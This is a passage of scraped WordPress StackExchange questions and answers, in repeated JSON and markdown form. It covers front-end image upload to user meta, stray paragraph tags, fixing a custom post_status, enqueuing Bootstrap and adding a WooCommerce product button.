noreferrer\">https://support.advancedcustomfields.com/forums/topic/uploading-imagefile-on-the-front-end/</a></p>\n" }, { "answer_id": 283079, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 3, "selected": true, "text": "<p>Ok, I got it to work with the 'media_handle_upload' (pointed out by @Piyush) and tweaking a little bit with my form code.</p>\n\n<p><strong>So, here is what I did:</strong></p>\n\n<p><em>First</em> - Make sure your form has the attribute 'enctype='multipart/form-data'.</p>\n\n<p><em>Second</em> - Be sure that your 'input=file' has no value attribute.</p>\n\n<p><em>Third</em> - Use the 'media_handle_upload' and pass the name of your 'input=file'.</p>\n\n<p><em>Forth</em> - Check if there was an error with 'is_wp_error', for example.</p>\n\n<p><em>Fifth</em> - Update the user meta using the name of the field you want to update (in my case, is the same as the 'name' of the 'input=file'.</p>\n\n<p><strong>Here is part of the final code:</strong></p>\n\n<pre><code>&lt;form method=\"post\" id=\"adduser\" enctype='multipart/form-data'&gt;\n &lt;input class=\"text-input\" name=\"avatar_user\" type=\"file\" id=\"avatar_user\" multiple=\"false\"/&gt;\n &lt;input name=\"updateuser\" type=\"submit\" id=\"updateuser\" class=\"submit button\" value=\"&lt;?php _e('GRAVAR', 'profile'); ?&gt;\" /&gt;\n &lt;input name=\"action\" type=\"hidden\" id=\"action\" value=\"update-user\" /&gt;\n&lt;/form&gt;\n\n/* If profile was saved, update profile. */\nif ( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;&amp; !empty( $_POST['action'] ) &amp;&amp; $_POST['action'] == 'update-user' ) {\n\n // These files need to be included as dependencies when on the front end.\n require_once( ABSPATH . 'wp-admin/includes/image.php' );\n require_once( ABSPATH . 'wp-admin/includes/file.php' );\n require_once( ABSPATH . 'wp-admin/includes/media.php' );\n\n // Let WordPress handle the upload.\n $img_id = media_handle_upload( 'avatar_user', 0 );\n\n if ( is_wp_error( $img_id ) ) {\n echo \"Error\";\n } else {\n update_user_meta( $current_user-&gt;ID, 'avatar_user', $img_id );\n }\n}\n</code></pre>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282586", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/44437/" ]
I created extra fields for my subscribers, one of them is an image field, so they can upload an image to their profile. I created the fields with ACF (Advanced Custom Fields). I have a custom register form and a custom edit form, with the regular WordPress fields and the extra ones. Everything works perfectly... Except for the image field. I'm not worried about the register form, I accept that the user won't upload the image when registering, but I need them to be able to edit/upload the image when editting their info. *Ps.(1):The image will be used as the avatar, I won't use the regular WordPress avatar.* *Ps.(2):I won't use the acf\_form() because I need to edit too much on how the form works.* **Here is part of the code:** ``` <label for="avatar_user"></label> <input class="text-input" name="avatar_user" type="file" id="avatar_user" value="<?php the_author_meta( 'avatar_user', $current_user->ID ); ?>" /> if ( !empty( $_POST['avatar_user'] ) ) : update_user_meta( $current_user->ID, 'avatar_user', esc_attr( $_POST['avatar_user'] ) ); ```
Ok, I got it to work with the 'media\_handle\_upload' (pointed out by @Piyush) and tweaking a little bit with my form code. **So, here is what I did:** *First* - Make sure your form has the attribute 'enctype='multipart/form-data'. *Second* - Be sure that your 'input=file' has no value attribute. *Third* - Use the 'media\_handle\_upload' and pass the name of your 'input=file'. *Forth* - Check if there was an error with 'is\_wp\_error', for example. *Fifth* - Update the user meta using the name of the field you want to update (in my case, is the same as the 'name' of the 'input=file'. **Here is part of the final code:** ``` <form method="post" id="adduser" enctype='multipart/form-data'> <input class="text-input" name="avatar_user" type="file" id="avatar_user" multiple="false"/> <input name="updateuser" type="submit" id="updateuser" class="submit button" value="<?php _e('GRAVAR', 'profile'); ?>" /> <input name="action" type="hidden" id="action" value="update-user" /> </form> /* If profile was saved, update profile. */ if ( 'POST' == $_SERVER['REQUEST_METHOD'] && !empty( $_POST['action'] ) && $_POST['action'] == 'update-user' ) { // These files need to be included as dependencies when on the front end. require_once( ABSPATH . 'wp-admin/includes/image.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/media.php' ); // Let WordPress handle the upload. $img_id = media_handle_upload( 'avatar_user', 0 ); if ( is_wp_error( $img_id ) ) { echo "Error"; } else { update_user_meta( $current_user->ID, 'avatar_user', $img_id ); } } ```
282,607
<p>I have an issue with <code>&lt;p&gt;&lt;/p&gt;</code> tags appearing after my <code>&lt;img....&gt;</code>. Here is what appears when I view the generated page on my localhost...</p> <pre><code>&lt;img src="/wp-content/themes/wunderful/assets/images/feedback-danielle.png" alt="Danielle Johnson Deal Town FC Treasurer"&gt; &lt;p&gt;&lt;/p&gt; </code></pre> <p>Notice the randomly generated <code>&lt;p&gt;&lt;/p&gt;</code> above, underneath the image. I haven't added this myself inside of the WordPress editor, so why is it appearing? How do I fix it please?</p> <p>I have previously added this to my functions.php file to cancel out other non-necessary <p> tags. Perhaps it could be expanded upon to fix this issue too?</p> <pre><code>function filter_ptags_on_images($content) { // do a regular expression replace... // find all p tags that have just // &lt;p&gt;maybe some white space&lt;img all stuff up to /&gt; then maybe whitespace &lt;/p&gt; // replace it with just the image tag... return preg_replace('/&lt;p&gt;\s*(&lt;a .*&gt;)?\s*(&lt;img .* \/&gt;)\s*(&lt;\/a&gt;)?\s*&lt;\/p&gt;/iU', '\1\2\3', $content); } // we want it to be run after the autop stuff... 10 is default. add_filter('the_content', 'filter_ptags_on_images'); </code></pre>
[ { "answer_id": 282606, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 1, "selected": false, "text": "<p>Sounds like you deleted some terms and/or taxonomies related to menus. You need to get those back into the database.</p>\n\n<p>Easiest solution is if you took a database backup before removing those terms, as is best practice, just restore your database. Or if the host provides automated backups, use one of those.</p>\n\n<p>If you don't have any database backup, this gets a bit off-topic into more specific theme setup, but generally speaking you should switch to a default theme (i.e. Twenty Seventeen) and then try switching back to your desired theme. If that doesn't resolve the issue, you may need to start from scratch on a new WP install, export the content from the old site, import it into the new site, and manually configure all the theme settings. It's possible that if you have a fresh WP install and you copy its <code>wp_term_taxonomy</code> table into your current install, that may help.</p>\n" }, { "answer_id": 284427, "author": "Maxime S.", "author_id": 129440, "author_profile": "https://wordpress.stackexchange.com/users/129440", "pm_score": 1, "selected": true, "text": "<p>I resolved my issue.<br>\nThis was due to the lost of indexes, primary keys and auto_increment feature in my database structure due to export/import database actions.<br>\nWith bad export options, the indexes and primary keys at one point, weren't re-created during import and so on....</p>\n\n<p>Always export your database with right structure options.</p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282607", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129445/" ]
I have an issue with `<p></p>` tags appearing after my `<img....>`. Here is what appears when I view the generated page on my localhost... ``` <img src="/wp-content/themes/wunderful/assets/images/feedback-danielle.png" alt="Danielle Johnson Deal Town FC Treasurer"> <p></p> ``` Notice the randomly generated `<p></p>` above, underneath the image. I haven't added this myself inside of the WordPress editor, so why is it appearing? How do I fix it please? I have previously added this to my functions.php file to cancel out other non-necessary tags. Perhaps it could be expanded upon to fix this issue too? ``` function filter_ptags_on_images($content) { // do a regular expression replace... // find all p tags that have just // <p>maybe some white space<img all stuff up to /> then maybe whitespace </p> // replace it with just the image tag... return preg_replace('/<p>\s*(<a .*>)?\s*(<img .* \/>)\s*(<\/a>)?\s*<\/p>/iU', '\1\2\3', $content); } // we want it to be run after the autop stuff... 10 is default. add_filter('the_content', 'filter_ptags_on_images'); ```
I resolved my issue. This was due to the lost of indexes, primary keys and auto\_increment feature in my database structure due to export/import database actions. With bad export options, the indexes and primary keys at one point, weren't re-created during import and so on.... Always export your database with right structure options.
282,633
<p>I have navmenus <code>Home | Vendors | About | Contact</code> and i have <em>Fruits</em> and <em>Vegetables</em> as pages. And these pages are added using <code>href</code> under the Vendors page. I am using the id as a link.</p> <pre><code>&lt;!-- HTML --&gt; &lt;a href="&lt;?php echo get_page_link(21); ?&gt;"&gt; Fruits &lt;/a&gt; &lt;a href="&lt;?php echo get_page_link(64); ?&gt;"&gt; Vegetables &lt;/a&gt; /* CSS */ .current_page_item, .current_page_parent { background-color: yellow; } </code></pre> <p>If you click those links it will go to the relevant page, but the <code>Vendors</code> menu is not highlighted. But if i use the <em>Fruits</em> and <em>Vegetables</em> as a dropdown menu for <code>Vendors</code>, the css works.</p> <p>I do not want to show the dropdown, but i want to highlight the navmenu. How do i do that.</p> <p>Thanks</p>
[ { "answer_id": 282635, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 0, "selected": false, "text": "<p>Out of the box WordPress does not provide a CSS class that you could use to target the parent of the current page. You could either use a custom walker or create a function that hooks to <code>nav_menu_css_class</code> to add a <code>current-page-ancestor</code> class to parent pages of the page you're on.</p>\n\n<p>See: <a href=\"https://gist.github.com/gerbenvandijk/5253921\" rel=\"nofollow noreferrer\">https://gist.github.com/gerbenvandijk/5253921</a></p>\n" }, { "answer_id": 282658, "author": "Dexter", "author_id": 102678, "author_profile": "https://wordpress.stackexchange.com/users/102678", "pm_score": 1, "selected": false, "text": "<p><strong>SOLUTION</strong></p>\n\n<p>I found it by using the <code>&lt;?php wp_list_pages( $args ); ?&gt;</code> with customizing the args to display only selected children by id.</p>\n\n<pre><code>$args = array (\n 'title_li' =&gt; '',\n 'child_of' =&gt; $post-&gt;ID,\n 'include' =&gt; 47\n )\n\n&lt;h4&gt; &lt;?php wp_list_pages( $args ); ?&gt; &lt;/h4&gt;\n</code></pre>\n\n<p>and setting the css to target the current and its parent using wordpress default css.</p>\n\n<pre><code>.current-menu-item, .current-page-ancestor {\n /* css */\n }\n</code></pre>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282633", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102678/" ]
I have navmenus `Home | Vendors | About | Contact` and i have *Fruits* and *Vegetables* as pages. And these pages are added using `href` under the Vendors page. I am using the id as a link. ``` <!-- HTML --> <a href="<?php echo get_page_link(21); ?>"> Fruits </a> <a href="<?php echo get_page_link(64); ?>"> Vegetables </a> /* CSS */ .current_page_item, .current_page_parent { background-color: yellow; } ``` If you click those links it will go to the relevant page, but the `Vendors` menu is not highlighted. But if i use the *Fruits* and *Vegetables* as a dropdown menu for `Vendors`, the css works. I do not want to show the dropdown, but i want to highlight the navmenu. How do i do that. Thanks
**SOLUTION** I found it by using the `<?php wp_list_pages( $args ); ?>` with customizing the args to display only selected children by id. ``` $args = array ( 'title_li' => '', 'child_of' => $post->ID, 'include' => 47 ) <h4> <?php wp_list_pages( $args ); ?> </h4> ``` and setting the css to target the current and its parent using wordpress default css. ``` .current-menu-item, .current-page-ancestor { /* css */ } ```
282,641
<p>I have a custom post type with a custom backend page.</p> <p>I'm creating posts of that type using this code:</p> <pre><code>$postarr = array( "post_type" =&gt; "product_settings", "post_status" =&gt; "published", "post_title" =&gt; "$ean $name", "post_content" =&gt; "$ean $name", // to satisfy WP requirement "meta_input" =&gt; array("ean" =&gt; $ean) ); $id = wp_insert_post($postarr); if (!$id) echo "ERR: unable to create post for product $name"; else update_field("ean", $ean, $id); // THis is an ACF custom field </code></pre> <p>However, on the backend page, the posts I auto-generate are being <em>counted</em>, but there's no way to make them show up in the list! The only one that's showing is one I created manually in the backend.</p> <p><a href="https://i.stack.imgur.com/IUCTI.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IUCTI.jpg" alt="enter image description here"></a></p> <p>I tried all the display options, searching for a string I know is in those auto-generated posts... nothing.</p> <p>What am I overlooking while generating those posts?</p> <p>This is the code for the custom post type, should be fairly straightforward:</p> <pre><code> register_post_type( 'product_settings', array( 'labels' =&gt; array( 'name' =&gt; __( 'Produkte' ), 'singular_name' =&gt; __( 'Produkt' ), 'add_new_item' =&gt; __('Neues Produkt') ), 'public' =&gt; true, 'has_archive' =&gt; true, 'rewrite' =&gt; array('slug' =&gt; 'product_settings'), 'taxonomies' =&gt; array( 'product_settings' ), 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'show_in_nav_menus' =&gt; false, 'show_in_admin_bar' =&gt; true, ) ); </code></pre>
[ { "answer_id": 282642, "author": "ngearing", "author_id": 50184, "author_profile": "https://wordpress.stackexchange.com/users/50184", "pm_score": 0, "selected": false, "text": "<p>According to the docs <code>post_title</code> &amp; <code>post_content</code> are required, Wordpress will not generate an empty published post.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_insert_post/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_insert_post/</a></p>\n" }, { "answer_id": 282680, "author": "Pekka", "author_id": 2161, "author_profile": "https://wordpress.stackexchange.com/users/2161", "pm_score": 2, "selected": false, "text": "<p>Ugggggggh.</p>\n\n<pre><code>\"post_status\" =&gt; \"published\",\n</code></pre>\n\n<p>is incorrect. It should be</p>\n\n<pre><code> \"post_status\" =&gt; \"publish\",\n</code></pre>\n\n<p>This apparently puts posts into a state of limbo in which they're not visible in the list (but still counted for some reason).</p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282641", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/2161/" ]
I have a custom post type with a custom backend page. I'm creating posts of that type using this code: ``` $postarr = array( "post_type" => "product_settings", "post_status" => "published", "post_title" => "$ean $name", "post_content" => "$ean $name", // to satisfy WP requirement "meta_input" => array("ean" => $ean) ); $id = wp_insert_post($postarr); if (!$id) echo "ERR: unable to create post for product $name"; else update_field("ean", $ean, $id); // THis is an ACF custom field ``` However, on the backend page, the posts I auto-generate are being *counted*, but there's no way to make them show up in the list! The only one that's showing is one I created manually in the backend. [![enter image description here](https://i.stack.imgur.com/IUCTI.jpg)](https://i.stack.imgur.com/IUCTI.jpg) I tried all the display options, searching for a string I know is in those auto-generated posts... nothing. What am I overlooking while generating those posts? This is the code for the custom post type, should be fairly straightforward: ``` register_post_type( 'product_settings', array( 'labels' => array( 'name' => __( 'Produkte' ), 'singular_name' => __( 'Produkt' ), 'add_new_item' => __('Neues Produkt') ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'product_settings'), 'taxonomies' => array( 'product_settings' ), 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => false, 'show_in_admin_bar' => true, ) ); ```
Ugggggggh. ``` "post_status" => "published", ``` is incorrect. It should be ``` "post_status" => "publish", ``` This apparently puts posts into a state of limbo in which they're not visible in the list (but still counted for some reason).
282,646
<p>on my <code>index.php</code> I display all my posts with infinite scroll. Before the WP loop I added a $counter, which counts up with every post. But if the infinite scroll loads new posts, the counter will be reset.</p> <p>Example for counter: 0 1 2 3 4 5 6 7 (load new posts) 0 1 2 3 4 . . .</p> <p>What can I do that the counter counts up after loading new post (...,6,7,8,9,10,...)?</p> <p>Thanks for help!</p> <pre><code>&lt;div class="grid" id="container"&gt; &lt;div class="grid-sizer"&gt;&lt;/div&gt; &lt;?php $counter = 0; if ( have_posts() ) { while ( have_posts() ) { the_post();?&gt; &lt;div class="grid-item post-item&lt;?php if($counter % 4 == 0) : ?&gt; opening-box&lt;?php endif; ?&gt;"&gt; &lt;?php the_content(); ?&gt; &lt;/div&gt; &lt;?php $counter++; } // end while } ?&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
[ { "answer_id": 282642, "author": "ngearing", "author_id": 50184, "author_profile": "https://wordpress.stackexchange.com/users/50184", "pm_score": 0, "selected": false, "text": "<p>According to the docs <code>post_title</code> &amp; <code>post_content</code> are required, Wordpress will not generate an empty published post.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_insert_post/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_insert_post/</a></p>\n" }, { "answer_id": 282680, "author": "Pekka", "author_id": 2161, "author_profile": "https://wordpress.stackexchange.com/users/2161", "pm_score": 2, "selected": false, "text": "<p>Ugggggggh.</p>\n\n<pre><code>\"post_status\" =&gt; \"published\",\n</code></pre>\n\n<p>is incorrect. It should be</p>\n\n<pre><code> \"post_status\" =&gt; \"publish\",\n</code></pre>\n\n<p>This apparently puts posts into a state of limbo in which they're not visible in the list (but still counted for some reason).</p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282646", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129479/" ]
on my `index.php` I display all my posts with infinite scroll. Before the WP loop I added a $counter, which counts up with every post. But if the infinite scroll loads new posts, the counter will be reset. Example for counter: 0 1 2 3 4 5 6 7 (load new posts) 0 1 2 3 4 . . . What can I do that the counter counts up after loading new post (...,6,7,8,9,10,...)? Thanks for help! ``` <div class="grid" id="container"> <div class="grid-sizer"></div> <?php $counter = 0; if ( have_posts() ) { while ( have_posts() ) { the_post();?> <div class="grid-item post-item<?php if($counter % 4 == 0) : ?> opening-box<?php endif; ?>"> <?php the_content(); ?> </div> <?php $counter++; } // end while } ?> </div> </div> ```
Ugggggggh. ``` "post_status" => "published", ``` is incorrect. It should be ``` "post_status" => "publish", ``` This apparently puts posts into a state of limbo in which they're not visible in the list (but still counted for some reason).
282,688
<p>I am coming from a Laravel background and using Bootstrap in Laravel is relatively easy. However I have a project I have been working on with Wordpress and I am using Bootstrap for my nav bars. The problem is that, they are messing up my header on the page. The theme I am using is Be Theme. This is my code:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="tabbable"&gt; &lt;div class="panel panel-default"&gt; &lt;div class="panel-body"&gt; &lt;ul class="nav nav-tabs nav-justified" role="tablist"&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link active" data-toggle="tab" href="#link" role="tab" style="color:black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black; "&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="nav-item"&gt; &lt;a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color:black;"&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;div class="tab-content"&gt; &lt;div class="tab-pane active" id="link" role="tabpanel" style="; color: black;"&gt; &lt;form action="" method="get" name="" style="color: black;" class="form-inline"&gt; &lt;br&gt; &lt;br&gt; &lt;input type="submit" name="submit" class="btn btn-default" style="background-color: red;"&gt; &lt;/form&gt; &lt;table&gt; &lt;/table&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;div class="tab-pane " id="id" role="tabpanel" style=";"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I have created a template page using this code thanks to the help I got in <a href="https://wordpress.stackexchange.com/questions/282267/routing-a-custom-php-on-wordpress">previous question</a>.</p> <p>How do I use bootstrap without messing up WP themes and their headers?</p> <p>EDIT: this is how my functions.php looks like </p> <pre><code>add_action( 'wp_enqueue_scripts', 'mfnch_enqueue_styles', 101 ); function mfnch_enqueue_styles() { // Enqueue the parent stylesheet // wp_enqueue_style( 'parent-style', get_template_directory_uri() .'/style.css' ); //we don't need this if it's empty // Enqueue the parent rtl stylesheet if ( is_rtl() ) { wp_enqueue_style( 'mfn-rtl', get_template_directory_uri() . '/rtl.css' ); } // Enqueue the child stylesheet wp_dequeue_style( 'style' ); wp_enqueue_style( 'style', get_stylesheet_directory_uri() .'/style.css' ); } </code></pre> <p>How do I edit this function to include Bootstrap ^? I tried on my own but it doesn't render it.</p> <p>Thanks in advance!</p>
[ { "answer_id": 282689, "author": "Punitkumar Patel", "author_id": 117461, "author_profile": "https://wordpress.stackexchange.com/users/117461", "pm_score": 4, "selected": true, "text": "<p>You can add bootstrap in WordPress by following function in functions.php</p>\n\n<p>You can change url as you need if you have cdn.</p>\n\n<pre><code>&lt;?php \n/**\n * Enqueue scripts and styles\n */\nfunction your_theme_enqueue_scripts() {\n // all styles\n wp_enqueue_style( 'bootstrap', get_stylesheet_directory_uri() . '/css/bootstrap.css', array(), 20141119 );\n wp_enqueue_style( 'theme-style', get_stylesheet_directory_uri() . '/css/style.css', array(), 20141119 );\n // all scripts\n wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array('jquery'), '20120206', true );\n wp_enqueue_script( 'theme-script', get_template_directory_uri() . '/js/scripts.js', array('jquery'), '20120206', true );\n}\nadd_action( 'wp_enqueue_scripts', 'your_theme_enqueue_scripts' );\n</code></pre>\n" }, { "answer_id": 380770, "author": "Alexius The Coder", "author_id": 151351, "author_profile": "https://wordpress.stackexchange.com/users/151351", "pm_score": 2, "selected": false, "text": "<p>How about to save a bandwidth and possibly increase a page loading speed using MaxCDN and NetDNA.\nAdd this two functions to your functions.php</p>\n<pre><code>function pwwp_enqueue_my_scripts() {\n // jQuery is stated as a dependancy of bootstrap-js - it will be loaded by WordPress before the BS scripts \n wp_enqueue_script( 'bootstrap-js', '//maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js', array('jquery'), true); // all the bootstrap javascript goodness\n}\nadd_action('wp_enqueue_scripts', 'pwwp_enqueue_my_scripts');\n\nfunction pwwp_enqueue_my_styles() {\n wp_enqueue_style( 'bootstrap', '//maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css' );\n\n // this will add the stylesheet from it's default theme location if your theme doesn't already\n //wp_enqueue_style( 'my-style', get_template_directory_uri() . '/style.css');\n}\nadd_action('wp_enqueue_scripts', 'pwwp_enqueue_my_styles');\n</code></pre>\n<p><a href=\"https://www.pattonwebz.com/questions/how-to-load-bootstrap-files-from-cdn/\" rel=\"nofollow noreferrer\">Source docs</a></p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282688", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125481/" ]
I am coming from a Laravel background and using Bootstrap in Laravel is relatively easy. However I have a project I have been working on with Wordpress and I am using Bootstrap for my nav bars. The problem is that, they are messing up my header on the page. The theme I am using is Be Theme. This is my code: ``` <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <div class="row"> <div class="tabbable"> <div class="panel panel-default"> <div class="panel-body"> <ul class="nav nav-tabs nav-justified" role="tablist"> <li class="nav-item"> <a class="nav-link active" data-toggle="tab" href="#link" role="tab" style="color:black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black; "></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color:black;"></a> </li> </ul> <div class="tab-content"> <div class="tab-pane active" id="link" role="tabpanel" style="; color: black;"> <form action="" method="get" name="" style="color: black;" class="form-inline"> <br> <br> <input type="submit" name="submit" class="btn btn-default" style="background-color: red;"> </form> <table> </table> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> </div> </div> </div> </div> </div> </body> </html> ``` I have created a template page using this code thanks to the help I got in [previous question](https://wordpress.stackexchange.com/questions/282267/routing-a-custom-php-on-wordpress). How do I use bootstrap without messing up WP themes and their headers? EDIT: this is how my functions.php looks like ``` add_action( 'wp_enqueue_scripts', 'mfnch_enqueue_styles', 101 ); function mfnch_enqueue_styles() { // Enqueue the parent stylesheet // wp_enqueue_style( 'parent-style', get_template_directory_uri() .'/style.css' ); //we don't need this if it's empty // Enqueue the parent rtl stylesheet if ( is_rtl() ) { wp_enqueue_style( 'mfn-rtl', get_template_directory_uri() . '/rtl.css' ); } // Enqueue the child stylesheet wp_dequeue_style( 'style' ); wp_enqueue_style( 'style', get_stylesheet_directory_uri() .'/style.css' ); } ``` How do I edit this function to include Bootstrap ^? I tried on my own but it doesn't render it. Thanks in advance!
You can add bootstrap in WordPress by following function in functions.php You can change url as you need if you have cdn. ``` <?php /** * Enqueue scripts and styles */ function your_theme_enqueue_scripts() { // all styles wp_enqueue_style( 'bootstrap', get_stylesheet_directory_uri() . '/css/bootstrap.css', array(), 20141119 ); wp_enqueue_style( 'theme-style', get_stylesheet_directory_uri() . '/css/style.css', array(), 20141119 ); // all scripts wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array('jquery'), '20120206', true ); wp_enqueue_script( 'theme-script', get_template_directory_uri() . '/js/scripts.js', array('jquery'), '20120206', true ); } add_action( 'wp_enqueue_scripts', 'your_theme_enqueue_scripts' ); ```
282,693
<p>I have created Custom Button using following Code at <code>themes/package/woocommerce/single-product/add-to-cart/simple.php</code></p> <pre><code>&lt;?php if($_product-&gt;getCustom_button()){ //yes or no button ?&gt; &lt;button type="button" title="&lt;?php echo $_product-&gt;getCustom_button_name() ;?&gt;" class="btn btn-default" onclick="window.open('&lt;?php echo $_product-&gt;getCustom_button_url() ;?&gt;')"&gt;&lt;span&gt;&lt;span&gt;&lt;i class="icon-desktop"&gt;&lt;/i&gt;&lt;?php echo $_product-&gt;getCustom_button_name() ;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/button&gt; &lt;?php } ?&gt; </code></pre> <p>but this code is not work properly. i want custom button work with product attributes. <a href="https://i.stack.imgur.com/VuWBs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VuWBs.png" alt="enter image description here"></a></p>
[ { "answer_id": 282696, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 0, "selected": false, "text": "<p>You can use this code to add anything like button, text using this below code</p>\n\n<pre><code>function my_custom_content(){\n // get_the_ID() is product ID\n // echo anything you want\n}\nadd_action( 'woocommerce_after_add_to_cart_button', 'my_custom_content' );\n</code></pre>\n" }, { "answer_id": 303519, "author": "Vivekpathak", "author_id": 135442, "author_profile": "https://wordpress.stackexchange.com/users/135442", "pm_score": 1, "selected": false, "text": "<pre><code>add_action('woocommerce_after_add_to_cart_button','cmk_additional_button');\nfunction cmk_additional_button() {\n echo '&lt;button type=\"submit\" class=\"button alt\"&gt;Change me please&lt;/button&gt;';\n}\n</code></pre>\n\n<p>add this code in your Child theme functions.php</p>\n\n<p>Try this code</p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282693", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/107334/" ]
I have created Custom Button using following Code at `themes/package/woocommerce/single-product/add-to-cart/simple.php` ``` <?php if($_product->getCustom_button()){ //yes or no button ?> <button type="button" title="<?php echo $_product->getCustom_button_name() ;?>" class="btn btn-default" onclick="window.open('<?php echo $_product->getCustom_button_url() ;?>')"><span><span><i class="icon-desktop"></i><?php echo $_product->getCustom_button_name() ;?></span></span></button> <?php } ?> ``` but this code is not work properly. i want custom button work with product attributes. [![enter image description here](https://i.stack.imgur.com/VuWBs.png)](https://i.stack.imgur.com/VuWBs.png)
``` add_action('woocommerce_after_add_to_cart_button','cmk_additional_button'); function cmk_additional_button() { echo '<button type="submit" class="button alt">Change me please</button>'; } ``` add this code in your Child theme functions.php Try this code
282,694
